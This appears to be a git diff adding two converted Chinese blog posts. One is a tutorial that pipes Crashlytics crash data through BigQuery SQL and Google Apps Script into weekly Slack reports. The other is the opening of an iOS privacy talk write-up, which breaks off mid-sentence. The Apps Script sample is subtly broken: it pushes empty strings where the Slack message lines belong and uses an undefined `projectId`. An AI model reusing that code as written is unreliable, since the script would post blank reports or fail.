打造更即時便利的 Crash 追蹤工具 + +串接 Crashlytics 和 Big Query 自動轉發閃退記錄到 Slack Channel + + + +![](/assets/e77b80cc6f89/1*-luP3wtJr1XJ9Vq3M0sQLA.png) + +### 成果 + + +![Pinkoi iOS Team 實拍圖](/assets/e77b80cc6f89/1*gJhRllB0sQb-W3P7tQAQ6g.jpeg) + +Pinkoi iOS Team 實拍圖 + +先上成果圖,每週定時查詢 Crashlytics 閃退紀錄;篩選出閃退次數前 10 多的問題;將訊息發送到 Slack Channel,方便所有 iOS 隊友快速了解目前穩定性。 +### 問題 + +於 App 開發者來說 Crash\-Free Rate 可以說是最重要的衡量指標;數據代表的意思是 App 的使用者 **沒遇到** 閃退的比例,我想不管是什麼 App 都應該希望自己的 Crash\-Free Rate ~= 99\.9%;但現實是不可能的,只要是程式就可能會有 Bug 更何況有的閃退問題是底層\(Apple\)或第三方 SDK 造成的,另外隨著 DAU 體量不同,也會對 Crash\-Free Rate 有一定影響,DAU 越高越容易踩到很多偶發的閃退問題。 + +既然 100% 不會閃退的 App 並不存在,那如何追蹤、處理閃退就是一件很重要的事;除了最常見的 [Google Firebase Crashlytics](https://firebase.google.com/products/crashlytics){:target="_blank"} \(前生 Fabric\) 外其實還有其他選擇 [Bugsnag](https://www.bugsnag.com/){:target="_blank"} 、 [Bugfender](https://bugfender.com/){:target="_blank"} …各工具我沒有實際比較過,有興趣的朋友可以自行研究;如果是用其他工具就用不到本篇文章要介紹的內容了。 +#### Crashlytics + +**選擇使用 Crashlytics 有以下好處:** +- 穩定,由 Google 撐腰 +- 免費、安裝便利快速 +- 除閃退外,也可 Log Error Event \(EX: Decode Error\) +- 一套 Firebase 即可打天下:其他服務還有 Google Analytics、Realtime Database、Remote Config、Authentication、Cloud Messaging、Cloud Storage… + + + +> _題外話:不建議正式的服務完全使用 Firebase 搭建,因為後期流量起來後的收費會很貴…就是個養套殺的概念。_ + + + + + + +**Crashlytics 缺點也很多:** +- Crashlytics 不提供 API 查詢閃退資料 +- Crashlytics 僅會儲存近 90 天閃退紀錄 +- Crashlytics 的 Integrations 支援跟彈性極差 + + +最痛的就是 Integrations 支援跟彈性極差再加上又沒有 API 可以自己寫腳本串閃退資料;只能三不五時靠人工手動上 Crashlytics 查看閃退紀錄,追蹤閃退問題。 +#### **Crashlytics 只支援的 Integrations:** +1. \[Email 通知\] — Trending stability issues \(越來越多人遇到的閃退問題\) +2. \[Slack, Email 通知\] — New Fatal Issue \(閃退問題\) +3. \[Slack, Email 通知\] — New Non\-Fatal Issue \(非閃退問題\) +4. \[Slack, Email 通知\] — Velocity Alert \(數量突然一直上升的閃退問題\) +5. \[Slack, Email 通知\] — Regression Alert \(已 Solved 但又出現的問題\) +6. Crashlytics to Jira issue + + +以上 Integrations 的內容、規則都無法客製化。 + +最一開始我們直接使用 2\.New Fatal Issue to Slack or Email,to Email 的話再由 [Google Apps Script 觸發後續處理腳本](../d414bdbdb8c9/) ;但是這個通知會瘋狂轟炸通知頻道,因為不管是大是小或只是使用者裝置、iOS 本身很零星的問題造成的閃退都會通知;隨著 DAU 增長每天都被這通知狂轟濫炸,而其中真的有價值,很多人踩到而且是跟我們程式錯誤有關的通知大概只佔其中的 10%。 + +以至於根本沒有解決 Crashlytics 難以自動追蹤的問題,一樣要花很多時間在審閱這個問題究竟重不重要之上。 +### Crashlytics \+ Big Query + + +![](/assets/e77b80cc6f89/1*ABFLOY1AEKkSJah6EVJEkg.png) + + +轉來轉去只找到這個方法,官方也只提供這個方法;這就是免費糖衣下的陷阱,我猜不管是 Crashlytics 或 Analytics Event 都不會也沒有計劃推出 API 讓使用者可以串 API 查資料;因為官方的唯一建議就是把資料匯入到 Big Query 使用,而 Big Query 超過免費儲存與查詢額度是要收費的。 + + +> _儲存:每個月前 10 GB 為免費。_ + + +> _查詢:每個月前 1 TB 為免費。 \(查詢額度的意思是下 Select 時處理了多少容量的資料\)_ + + +> _詳細可參考 Big Query 定價說明_ + + + + + +Crashlytics to Big Query 的設定細節可參考 [**官方文件**](https://firebase.google.com/docs/crashlytics/bigquery-export){:target="_blank"} ,需啟用 GCP 服務、綁定信用卡…等等。 +### 開始使用 Big Query 查詢 Crashlytics Log + +設好 Crashlytics Log to Big Query 匯入週期&完成第一次匯入有資料後,我們就能開始查詢資料囉。 + + +![](/assets/e77b80cc6f89/1*dvjnubHWwYF7Bhz8SiuuLA.jpeg) + + +首先到 Firebase 專案 \-> Crashlytics \-> 列表右上方的「•••」\-> 點擊前往「BigQuery dataset」。 + + +![](/assets/e77b80cc6f89/1*TEJY6kH9guplY1kZvOfxzw.jpeg) + + +前往 GCP \-> Big Query 後可在左方「Exploer」中選擇「firebase\_crashlytics」\->選擇你的 Table 名稱 \->「Detail」 \-> 右邊可查看 Table 資訊,包含最新修改時間、已使用容量、儲存期限…等等。 + + +> _確認已有匯入的資料可查詢。_ + + + + + + +![](/assets/e77b80cc6f89/1*4atxy5aRHkQrVvRE1GE2AQ.jpeg) + + +上方 Tab 可切換到「SCHEMA」查看 Table 的欄位資訊或參考 [官方文件](https://firebase.google.com/docs/crashlytics/bigquery-export#without_stack_traces){:target="_blank"} 。 + + +![](/assets/e77b80cc6f89/1*K0got1UinY2y4cFxZ2HM3w.jpeg) + + +點擊右上方的「Query」可開啟帶有輔助 SQL Builder 的介面\(如對 SQL 不熟建議使用這個\): + + +![](/assets/e77b80cc6f89/1*fxget7SOAb7hlnKDWhvmFQ.jpeg) + + +或直接點「COMPOSE NEW QUERY」開一個空白的 Query Editor: + + +![](/assets/e77b80cc6f89/1*3T7vHuR4LoojnZ5xe6LWfg.png) + + +不管是哪種方法,都是同個文字編輯器;在輸入完 SQL 之後可以預先在右上方自動完成 SQL 語法檢查和預計會花費的查詢額度\( `This query will process XXX when run.` \): + + +![](/assets/e77b80cc6f89/1*wGMkfqGPg277BzuUgOag1w.jpeg) + + +確認要查詢後點左上方「RUN」執行查詢,結果會在下方 Query results 區塊顯示。 + + +> **_⚠️ 按下「RUN」執行查詢後就會累積到查詢額度,然後進行收費;所以請注意不要亂下 Query。_** + + + + +#### **如對 SQL 較陌生可以先了解基本用法,然後參考 Crashlytics [官方的範例下去魔改](https://firebase.google.com/docs/crashlytics/bigquery-export){:target="_blank"} :** + +**1\.統計近 30 日每天的閃退次數:** +```sql +SELECT + COUNT(DISTINCT event_id) AS number_of_crashes, + FORMAT_TIMESTAMP("%F", event_timestamp) AS date_of_crashes +FROM + `你的ProjectID.firebase_crashlytics.你的TableName` +GROUP BY + date_of_crashes +ORDER BY + date_of_crashes DESC +LIMIT 30; +``` + +**2\.查詢近 7 天最常出現的 TOP 10 閃退:** +```sql +SELECT + DISTINCT issue_id, + COUNT(DISTINCT event_id) AS number_of_crashes, + COUNT(DISTINCT installation_uuid) AS number_of_impacted_user, + blame_frame.file, + blame_frame.line +FROM + `你的ProjectID.firebase_crashlytics.你的TableName` +WHERE + event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(),INTERVAL 168 HOUR) + AND event_timestamp < CURRENT_TIMESTAMP() +GROUP BY + issue_id, + blame_frame.file, + blame_frame.line +ORDER BY + number_of_crashes DESC +LIMIT 10; +``` + + +> _但官方範例這個下法查出來的資料跟 Crashlytics 看到的排序不一樣,應該是它用 blame\_frame\.file \(nullable\), blame\_frame\.line \(nullable\) 去 Group 的原因導致。_ + + + + + +**3\.查詢近 7 天最常閃退的 10 種裝置:** +```sql +SELECT + device.model, +COUNT(DISTINCT event_id) AS number_of_crashes +FROM + `你的ProjectID.firebase_crashlytics.你的TableName` +WHERE + event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 168 HOUR) + AND event_timestamp < CURRENT_TIMESTAMP() +GROUP BY + device.model +ORDER BY + number_of_crashes DESC +LIMIT 10; +``` + +更多範例請參考 [官方文件](https://firebase.google.com/docs/crashlytics/bigquery-export#example_4_filter_by_custom_key){:target="_blank"} 。 + + +> _如果你下的 SQL 無任何資料,請先確定指定條件的 Crashlytics 資料已匯入 Big Query(例如預設的 SQL 範例會查當天 Crash 紀錄,但其實資料還沒同步匯入進來,所以會查不到);如果確定有資料,再來檢查篩選條件是否正確。_ + + + + +#### Top 10 Crashlytics Issue Big Query SQL + +這邊參考第 2\. 的官方範例修改,我們希望的結果是跟我們看 Crashlytics 第一頁時一樣的閃退問題及排序資料。 + +**近 7 日閃退問題的 Top 10:** +```sql +SELECT + DISTINCT issue_id, + issue_title, + issue_subtitle, + COUNT(DISTINCT event_id) AS number_of_crashes, + COUNT(DISTINCT installation_uuid) AS number_of_impacted_user +FROM + `你的ProjectID.firebase_crashlytics.你的TableName` +WHERE + is_fatal = true + AND event_timestamp >= TIMESTAMP_SUB( + CURRENT_TIMESTAMP(), + INTERVAL 7 DAY + ) +GROUP BY + issue_id, + issue_title, + issue_subtitle +ORDER BY + number_of_crashes DESC +LIMIT + 10; +``` + + +![](/assets/e77b80cc6f89/1*YtbpV4tm0Z_iwrOA0AJ9Jg.jpeg) + + +比對 Crashlytics 的 Top 10 閃退問題結果,符合✅。 +### 使用 Google Apps Script 定期查詢&轉發到 Slack + +前往 [Google Apps Script 首頁](https://script.google.com/home){:target="_blank"} \-> 登入與 Big Query 同個帳戶 \-> 點左上角「新專案」,開啟新專案後可點左上方重新命名專案。 +#### 首先我們先完成串接 Big Query 取得查詢資料: + +參考 [官方文件](https://developers.google.com/apps-script/advanced/bigquery){:target="_blank"} 範例,將上面的 Query SQL 帶入。 +```javascript +function queryiOSTop10Crashes() { + var request = { + query: 'SELECT DISTINCT issue_id, issue_title, issue_subtitle, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user FROM `firebase_crashlytics.你的TableName` WHERE is_fatal = true AND event_timestamp >= TIMESTAMP_SUB( CURRENT_TIMESTAMP(), INTERVAL 7 DAY ) GROUP BY issue_id, issue_title, issue_subtitle ORDER BY number_of_crashes DESC LIMIT 10;', + useLegacySql: false + }; + var queryResults = BigQuery.Jobs.query(request, '你的ProjectID'); + var jobId = queryResults.jobReference.jobId; + + // Check on status of the Query Job. + var sleepTimeMs = 500; + while (!queryResults.jobComplete) { + Utilities.sleep(sleepTimeMs); + sleepTimeMs *= 2; + queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId); + } + + // Get all the rows of results. + var rows = queryResults.rows; + while (queryResults.pageToken) { + queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId, { + pageToken: queryResults.pageToken + }); + Logger.log(queryResults.rows); + rows = rows.concat(queryResults.rows); + } + + var data = new Array(rows.length); + for (var i = 0; i < rows.length; i++) { + var cols = rows[i].f; + data[i] = new Array(cols.length); + for (var j = 0; j < cols.length; j++) { + data[i][j] = cols[j].v; + } + } + + return data +} +``` + +**query:** 餐數可任意更換成寫好的 Query SQL。 + +**回傳的物件結構如下:** +```json +[ + [ + "67583e77da3b9b9d3bd8feffeb13c8d0", + " line 2147483647", + "specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)", + "417", + "355" + ], + [ + "a590d76bc71fd2f88132845af5455c12", + "libnetwork.dylib", + "nw_endpoint_flow_copy_path", + "259", + "207" + ], + [ + "d7c3b750c3e5587c91119c72f9f6514d", + "libnetwork.dylib", + "nw_endpoint_flow_copy_path", + "138", + "118" + ], + [ + "5bab14b8f8b88c296354cd2e", + "CoreFoundation", + "-[NSCache init]", + "131", + "117" + ], + [ + "c6ce52f4771294f9abaefe5c596b3433", + "XXX.m line 975", + "-[XXXX scrollToMessageBottom]", + "85", + "57" + ], + [ + "712765cb58d97d253ec9cc3f4b579fe1", + " line 2147483647", + "XXXXX.heightForRow(at:tableViewWidth:)", + "67", + "66" + ], + [ + "3ccd93daaefe80f024cc8a7d0dc20f76", + " line 2147483647", + "XXXX.tableView(_:cellForRowAt:)", + "59", + "59" + ], + [ + "f31a6d464301980a41367b8d14f880a3", + "XXXX.m line 46", + "-[XXXX XXX:XXXX:]", + "50", + "41" + ], + [ + "c149e1dfccecff848d551b501caf41cc", + "XXXX.m line 554", + "-[XXXX tableView:didSelectRowAtIndexPath:]", + "48", + "47" + ], + [ + "609e79f399b1e6727222a8dc75474788", + "Pinkoi", + "specialized JSONDecoder.decode(_:from:)", + "47", + "38" + ] +] +``` + +可以看到是一個二維陣列。 +#### 加上轉發 Slack 的 Function: + +在上述程式碼下方繼續加入新 Function。 +```javascript +function sendTop10CrashToSlack() { + + var iOSTop10Crashes = queryiOSTop10Crashes(); + var top10Tasks = new Array(); + + for (var i = 0; i < iOSTop10Crashes.length ; i++) { + var issue_id = iOSTop10Crashes[i][0]; + var issue_title = iOSTop10Crashes[i][1]; + var issue_subtitle = iOSTop10Crashes[i][2]; + var number_of_crashes = iOSTop10Crashes[i][3]; + var number_of_impacted_user = iOSTop10Crashes[i][4]; + + var strip_title = issue_title.replace(/[\<|\>]/g, ''); + var strip_subtitle = issue_subtitle.replace(/[\<|\>]/g, ''); + + top10Tasks.push(""); + } + + var messages = top10Tasks.join("\n"); + var payload = { + "blocks": [ + { + "type": "header", + "text": { + "type": "plain_text", + "text": ":bug::bug::bug: iOS 近 7 天閃退問題排行榜 :bug::bug::bug:", + "emoji": true + } + }, + { + "type": "divider" + }, + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": messages + } + }, + { + "type": "divider" + }, + { + "type": "actions", + "elements": [ + { + "type": "button", + "text": { + "type": "plain_text", + "text": "前往 Crashlytics 查看近 7 天紀錄", + "emoji": true + }, + "url": "https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues?time=last-seven-days&state=open&type=crash&tag=all" + }, + { + "type": "button", + "text": { + "type": "plain_text", + "text": "前往 Crashlytics 查看近 30 天紀錄", + "emoji": true + }, + "url": "https://console.firebase.google.com/u/1/project/你的ProjectID/crashlytics/app/你的專案ID/issues?time=last-thirty-days&state=open&type=crash&tag=all" + } + ] + }, + { + "type": "context", + "elements": [ + { + "type": "plain_text", + "text": "Crash 次數及發生版本僅統計近 7 天之間數據,並非所有資料。", + "emoji": true + } + ] + } + ] + }; + + var slackWebHookURL = "https://hooks.slack.com/services/XXXXX"; //更換成你的 in-coming webhook url + UrlFetchApp.fetch(slackWebHookURL,{ + method : 'post', + contentType : 'application/json', + payload : JSON.stringify(payload) + }) +} +``` + + +> _如果不知道怎麼取得 in\-cming WebHook URL 可以參考 [此篇文章](../d414bdbdb8c9/) 的「取得 Incoming WebHooks App URL」章節。_ + + + + +#### 測試&設定排程 + + +![](/assets/e77b80cc6f89/1*epwnVrltY7ei8_osPnbaww.jpeg) + + +此時你的 Google Apps Script 專案應該會有上述兩個 Function。 + +接下來請在上方的選擇「sendTop10CrashToSlack」Function,然後點擊 Debug 或 Run 執行測試一次;因第一次執行需要完成身份驗證,所以請至少執行過一次再進行下一步。 + + +![](/assets/e77b80cc6f89/1*Pt-falvO3uCtfSrJpNZeZQ.png) + + +**執行測試一次沒問題後,可以開始設定排程自動執行:** + + +![](/assets/e77b80cc6f89/1*-lI8vcewsS5ZRt5vR1iAkg.jpeg) + + +於左方選擇鬧鐘圖案,再選擇右下方「\+ Add Trigger」。 + + +![](/assets/e77b80cc6f89/1*V20eoW30mHYnHkhUk5uKnw.png) + + +第一個「Choose which function to run」\(需要執行的 function 入口\) 請改為 `sendTop10CrashToSlack` ,時間週期可依個人喜好設定。 + + +> _⚠️⚠️⚠️_ **_請特別注意每次查詢都會累積然後收費的,所以千萬不要亂設定;否則可能被排程自動執行搞到破產。_** + + + + +### 完成 + + +![範例成果圖](/assets/e77b80cc6f89/1*J4k9SMFX8hU7-M_zX3wDtw.jpeg) + +範例成果圖 + +現在起,你只要在 Slack 上就能快速追蹤當前 App 閃退問題;甚至直接在上面進行討論。 +### App Crash\-Free Users Rate? + +如果你想追的是 App Crash\-Free Users Rate,可參考下篇「 [Crashlytics \+ Google Analytics 自動查詢 App Crash\-Free Users Rate](../793cb8f89b72/) 」 +### 延伸閱讀 +- [Crashlytics \+ Google Analytics 自動查詢 App Crash\-Free Users Rate](../793cb8f89b72/) +- [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) +- [Slack 打造全自動 WFH 員工健康狀況回報系統](../d61062833c1a/) +- [運用 Google Apps Script 轉發 Gmail 信件到 Slack](../d414bdbdb8c9/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/crashlytics-big-query-%E6%89%93%E9%80%A0%E6%9B%B4%E5%8D%B3%E6%99%82%E4%BE%BF%E5%88%A9%E7%9A%84-crash-%E8%BF%BD%E8%B9%A4%E5%B7%A5%E5%85%B7-e77b80cc6f89){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-10-24-9a05f632eba0.md b/_posts/zmediumtomarkdown/2021-10-24-9a05f632eba0.md new file mode 100644 index 000000000..a2e26ff09 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-10-24-9a05f632eba0.md @@ -0,0 +1,719 @@ +--- +title: "iOS 隱私與便利的前世今生" +author: "ZhgChgLi" +date: 2021-10-24T01:15:55.402+0000 +last_modified_at: 2023-08-05T16:36:16.299+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","privacy","private-relay","apple-privacy","mopcon"] +description: "Apple 隱私原則及 iOS 歷年對隱私保護的功能調整" +image: + path: /assets/9a05f632eba0/1*-XkH2H6A9f7U1ex6eCo5Lg.png +pin: true +render_with_liquid: false +--- + +### iOS 隱私與便利的前世今生 + +Apple 隱私原則及 iOS 歷年對隱私保護的功能調整 + + + +![Theme by [slidego](https://slidesgo.com/theme/cyber-security-business-plan#search-technology&position-3&results-12){:target="_blank"}](/assets/9a05f632eba0/1*-XkH2H6A9f7U1ex6eCo5Lg.png) + +Theme by [slidego](https://slidesgo.com/theme/cyber-security-business-plan#search-technology&position-3&results-12){:target="_blank"} +### \[2023–08–01\] iOS 17 Update + +對於之前演講的最新 iOS 17 隱私相關調整補充。 +#### [Link Tracking Protection](https://www.apple.com/newsroom/2023/06/apple-announces-powerful-new-privacy-and-security-features/){:target="_blank"} + +Safari 會自動移除網址的 Tracking Parameter 參數 \(e\.g\. `fbclid` 、 `gclid` …\) +- 舉例: `https://zhgchg.li/post/1?gclid=124` 點擊後會變 `https://zhgchg.li/post/1` +- 目前測試 iOS 17 Developer Beta 4, `fbxxx` 、 `gcxxx` \. \.等等會被移掉, `utm_` 是有保留的;不確定正式版 iOS 17 或日後 iOS 18 會不會再加強。 +- 如果想知道最嚴格情況下的效果可安裝 [iOS DuckDuckGo](https://apps.apple.com/tw/app/duckduckgo-private-browser/id663592361){:target="_blank"} 瀏覽器進行測試。 +- 詳細測試細節請參考「 [iOS17 Safari 的新功能會把網址裡的 fbclid 跟 gclid 砍掉](https://blog.user.today/ios17-safari-remove-fbclid-and-gclid/){:target="_blank"} 」大大的這篇文章。 + +#### [Privacy Manifest \.xprivacy & Report](https://developer.apple.com/videos/play/wwdc2023/10060/?time=88){:target="_blank"} + +開發者需把使用到的 User Privacy 宣告在內, **並也需要要求有使用到的 SDK 提供該 SDK 的 Privacy Manifest。** + +_\*另外也增加第三方 SDK Signature_ + + +![](/assets/9a05f632eba0/1*A9PNsZ-BJCZpU-AcJph3qg.png) + + +XCode 15 能透過 Manifest 產生 Privacy Report 供開發者在 App Store 上做 App 隱私設定。 + + +![](/assets/9a05f632eba0/1*84WTDYR0cfrQP3a0e8jB4g.png) + +#### [Required reason API](https://developer.apple.com/documentation/bundleresources/privacy_manifest_files/describing_use_of_required_reason_api){:target="_blank"} + +為避免部分有機會得出 fingerprinting 的 Foundation API 被濫用,蘋果開始針對部分 Foundation API 做管控; [需要在 Mainfest 中宣告為何要使用](https://developer.apple.com/cn/news/?id=z6fu1dcu){:target="_blank"} 。 + +目前比較有影響的是 UserDefault 即屬於要宣告的 API。 +``` +從 2023 年秋季開始,如果你上傳到 App Store Connect 的新 App 或 App 更新使用了需要聲明原因的 API (包括來自第三方 SDK 的內容),而你沒有在 App 的隱私清單中提供批准的原因,那麼你會收到通知。從 2024 年春季開始,若要將新 App 或 App 更新上傳到 App Store Connect,你需要在 App 的隱私清單中註明批准的原因,以準確反映你的 App 如何使用相應 API。 + +如果目前批准原因的涵蓋範圍內並未包含某個需要聲明原因的 API 的用例,且你確信這個用例可讓你的 App 用戶直接受益,請告訴我們。 +``` +#### [Tracking Domain](https://developer.apple.com/videos/play/wwdc2023/10060/?time=264){:target="_blank"} + +發送 Tracking 資訊的 API Domain 需宣告在 privacy manifest \.xprivacy 並在使用者同意追蹤後才能發起網路請求,否則此 Domain 的網路請求全部都會被系統攔截。 + + +![](/assets/9a05f632eba0/1*f849jUbgjLMPfdCnRVp2IA.png) + + +可從 XCode Netowrk 工具中檢查 Tracking Domain 是否被攔截: + + +![](/assets/9a05f632eba0/1*7j5UXZq_ZMt07IQ2wWZIBA.png) + + +目前實測 Facebook、Google 的 Tracking Domain 都會被偵測到,需要照規定列入 Tracking Domain 並詢問權限。 + + +![](/assets/9a05f632eba0/1*R4N7ofJfrDW6cmu2Q2Pdtw.png) + +- [graph\.facebook\.com](https://graph.facebook.com/){:target="_blank"} : Facebook 相關數據統計 +- [app\-measurement\.com](https://app-measurement.com/){:target="_blank"} : Google 相關數據統計:GA/Firebase…\. + + +因此請注意 FB/Google 數據統計在 iOS 17 後可能會大幅流失,因為未詢問權限、不允許追蹤,會完全收不到數據;根據以往實作詢問追蹤的成效,大約有 7 成的使用者都會按不允許。 +- 開發者自己的打 API 送 Tracking 方式,蘋果也說需要同上列管 Tracking Domain +- 如果 Tracking Domain 跟 API Domain 相同則需分開一個獨立的 Tracking Domain \(e\.g\. api\.zhgchg\.li \-> tracking\.zhgchg\.li\) +- 目前暫時無法知道蘋果如何控管開發者自己的 Tracking,用 XCode 15 測試自家的沒有被發現。 +- 不清楚官方是否會用工具檢測行為、或是審核人員人工查看 + + + +> fingerprinting 依然禁止。 + + + + +### 前言 + +這次很榮幸能參加 [MOPCON 演講](https://mopcon.org/2021/schedule/2021028){:target="_blank"} ,但因疫情關係改成線上直播形式蠻遺憾的,無法認識更多新朋友;這次演講的主題是「iOS 隱私與便利的前世今生」主要想跟大家分享 Apple 關於隱私的原則及這些年來 iOS 基於這些隱私原則所做的功能調整。 + + +![[iOS 隱私與便利的前世今生](https://mopcon.org/2021/schedule/2021028){:target="_blank"} \| [Pinkoi, We Are Hiring\!](https://www.pinkoi.com/about/careers){:target="_blank"}](/assets/9a05f632eba0/1*gYucHdBa4tyd9lX5eyr08w.png) + +[iOS 隱私與便利的前世今生](https://mopcon.org/2021/schedule/2021028){:target="_blank"} \| [Pinkoi, We Are Hiring\!](https://www.pinkoi.com/about/careers){:target="_blank"} + +**相信這幾年開發者或是 iPhone 用戶應該都對以下功能調整並不陌生:** + + +![](/assets/9a05f632eba0/1*XyJpqYVWh1PNoMAzWtDnQQ.png) + +- **iOS ≥ 13:** 所有支援第三方登入的 App 都需要多實作 Sign in with Apple,否則無法成功上架 App +- **iOS ≥ 14:** 剪貼簿存取警告 +- **iOS ≥ 14\.5:** IDFA 必須允許後才能存取,幾乎等同封殺 IDFA +- **iOS ≥ 15** :Private Relay,使用 Proxy 隱藏使用者原始 IP 位址 +- **iOS ≥ 16** :剪貼簿存取需使用者授權 +- …\.還有很多很多,會在文章後跟大家分享 + +#### Why? + +如果不清楚 Apple 的隱私原則,甚至會覺得為何 Apple 這幾年不斷地在跟開發者、廣告商作對?很多大家用得很習慣的功能都被封鎖了。 + +再追完「 [WWDC 2021 — Apple’s privacy pillars in focus](https://developer.apple.com/videos/play/wwdc2021/10085/){:target="_blank"} 」及「 [Apple privacy white paper — A Day in the Life of Your Data](https://www.apple.com/privacy/docs/A_Day_in_the_Life_of_Your_Data.pdf){:target="_blank"} 」兩份文件後如夢初醒,原來我們早已在不知不覺中洩漏許多個人隱私並且讓廣告商或社群媒體賺的盆滿缽滿,在我們的日常生活中已經達到無孔不入的境界。 + +參考 [Apple privacy white paper](https://www.apple.com/privacy/docs/A_Day_in_the_Life_of_Your_Data.pdf){:target="_blank"} 改寫,以下以虛構人物哈里為例;為大家講述隱私是如何洩漏的及可能造成的危害。 + + +![首先是哈里 iPhone 上的使用紀錄。](/assets/9a05f632eba0/1*f0F0ypi2F-6_yOTsBmynhg.png) + +首先是哈里 iPhone 上的使用紀錄。 + +**左邊是網頁瀏覽紀錄:** 可以看到分別造訪了跟車子、iPhone 13、精品有關的網站 + +**右邊是已安裝的 App:** 有投資、旅遊、社交、購物、還有嬰兒攝影機…這些 App + + +![哈里的線下人生](/assets/9a05f632eba0/1*u7PRvQK9fyu7iLLdZFvAyQ.png) + +哈里的線下人生 + +線下活動會留下記錄的地方例如:發票、信用卡刷卡紀錄、行車記錄器…等等 +#### 組合 + +你可能會想說,我瀏覽不同的網站、裝不同的 App \(甚至根本沒登入\)、再到線下活動怎麼可能有機會讓某個服務串起所有資料? + +**答案是:就技術手段是有的,而且「可能」或是「已經」局部發生。** + + +![](/assets/9a05f632eba0/1*t6OJvmXAMsurcn6XuDuGng.png) + + +如上圖所示: +- 未登入時網站與網站之間可以透過 Third\-Party Cookie、IP Address \+ 裝置資訊算出的 Fingerprint 在不同網站中識別出同個瀏覽者。 +- 登入時網站與網站之間可以透過註冊資料,如姓名、生日、電話、Email、身分證字號…串起你的資料 +- App 與 App 之間可以透過取得 Device UUID 在不同 App 中識別出同個使用者、URL Scheme 嗅探手機上其他已安裝的 App、Pasteboard 在 App 與 App 間傳遞資料;另外一樣也可在使用者登入後用註冊資料串起資料。 +- App 與網站之間同樣可以用 Third\-Party Cookie、Fingerprint、Pasteboard 傳遞資料 +- 線上與線下活動的串連可能發生在,銀行端蒐集信用卡消費記錄、記帳 App、發票蒐集 App、行車記錄器 App…等等,都有機會把線下活動與線上資料串接在一起 + + + +> **_事實證明,技術上是可行的;那究竟躲在所有網站、App 之後的第三方是誰呢?_** + + + + + +諸如家大業大的 Facebook、Google 都靠個人廣告獲得不少收益;許多網站、App 也都會串接 Facebook、Google SDK…所以一切都很難說,這還是看得到,更多時候我們根本不知道網站、App 用了哪些第三方廣告、數據蒐集服務,在背後偷偷紀錄著我們的一舉一動。 + +**我們假設哈里所有的活動,背後都偷藏著同一個第三方在默默收集他的資料,那麼在它的眼裡,哈里可能的輪廓如下:** + + +![](/assets/9a05f632eba0/1*V1q2Ju6ItSSy80NvScD16Q.png) + + +左邊是個人資料,可能來自網站註冊資料、外送資料;右邊是依照哈里的活動紀錄打上的行為、興趣標籤。 + + +![](/assets/9a05f632eba0/1*G71DeU1FmX75U2HGaDy-yg.png) + + +在它眼中的哈里,可能比哈里還更了解自己;這些資料用在社交媒體,可以讓使用者更加沈淪;用在廣告上,可以刺激哈里過度消費或是營造鳥籠效應\(EX: 推薦你買新褲子,你買了褲子就會買合適的鞋子來穿搭,買了鞋子就會再買襪子…沒完沒了\)。 + +**如果你覺得以上已經夠可怕了,還有更可怕的:** + + +![](/assets/9a05f632eba0/1*OctTSsyFfaZc1OdaBjLN5g.png) + + +有你的個人資料又知道你的經濟狀況…要做惡的話不敢想像,例如:綁架、竊盜… +#### 目前的隱私保護方式 +- 法律規範 \(EX: SGS\-BS10012 個資驗證、CCPA、GDPR…\) +- 隱私權協議、去識別化 + + +主要還是透過法規約束;很難確保服務 100% 隨時遵守、網路上惡意程式也很多也難保證服務不會被駭造成資料外洩;總之還是「 **要做惡技術上都可行,單靠法規跟企業良心約束** 」。 + +除此之外更多時候,我們是「被迫」接受隱私權條款的,無法針對個別隱私授權,要馬整個服務都不用,要馬就是用但要接受全部隱私權條款;還有隱私條款不透明,不知道會怎麼被收集及應用,更不知道背後有沒有還躲著一個第三方在你根本不知道情況下蒐集你的資料。 + +另外 Apple 還有提到關於未成年人的個人隱私,多半也都在監護人未同意的情況下被服務蒐集。 +### Apple’s privacy principles + +知道個人隱私洩露帶來的危害之後,來看一下蘋果的隱私原則。 + + +![](/assets/9a05f632eba0/1*3GymtGipI60YZ8qSogRk1A.png) + + +節錄自 Apple Privacy White Paper 蘋果的理想不是完全封殺而是平衡,例如這幾年很多人都會直接裝 AD Block 完全阻斷廣告,這也不是蘋果想看到的;因為如果完全斷開就很難做出更好的服務。 + +賈伯斯在 2010 年的 [All Things Digital Conference](https://money.cnn.com/2018/03/27/technology/steve-jobs-mark-zuckerberg-privacy-2010/index.html){:target="_blank"} 說過: + + +> _我相信人是聰明的,有些人會比其他人更想分享數據,每次都去問他們,讓他們煩到叫你不要再問他們了,讓他們精準的知道你要怎麼使用他們的資料。 —_ translate by [Chun\-Hsiu Liu](https://medium.com/u/72361fccaa43){:target="_blank"} + + + + + + +![](/assets/9a05f632eba0/1*i7LbId4pPABbu5GkUXZeHw.png) + + + +> _蘋果相信隱私是基本人權_ + + + + +#### **蘋果的四個隱私原則:** +- Data Minimization:只取用你需要的資料 +- On\-Device Processing:Apple 基於強大的處理器晶片,如非必要,個人隱私相關資料應在本地執行 +- User Transparency and Control:讓使用者了解哪些隱私資訊被蒐集?被用在哪?另外也要讓使用者能針對個別隱私資料分享開關控制 +- Security:確保資料儲存、傳遞的安全 + +### iOS 基於保護個人隱私的歷年功能調整 + +了解到個人隱私洩露的危害及蘋果的隱私原則後,回到技術手段上;我們可以來看看 iOS 這些年來針對保護個人隱私的功能調整有哪些。 +### 網站與網站之間 + +前面有提到 +#### **第一種方法可以用 Third\-Party Cookie 跨網站串起瀏覽者資料:** + + +> **_🈲,在 iOS >= 11 後的 Safari 都實裝了 Intelligent Tracking Prevention \( 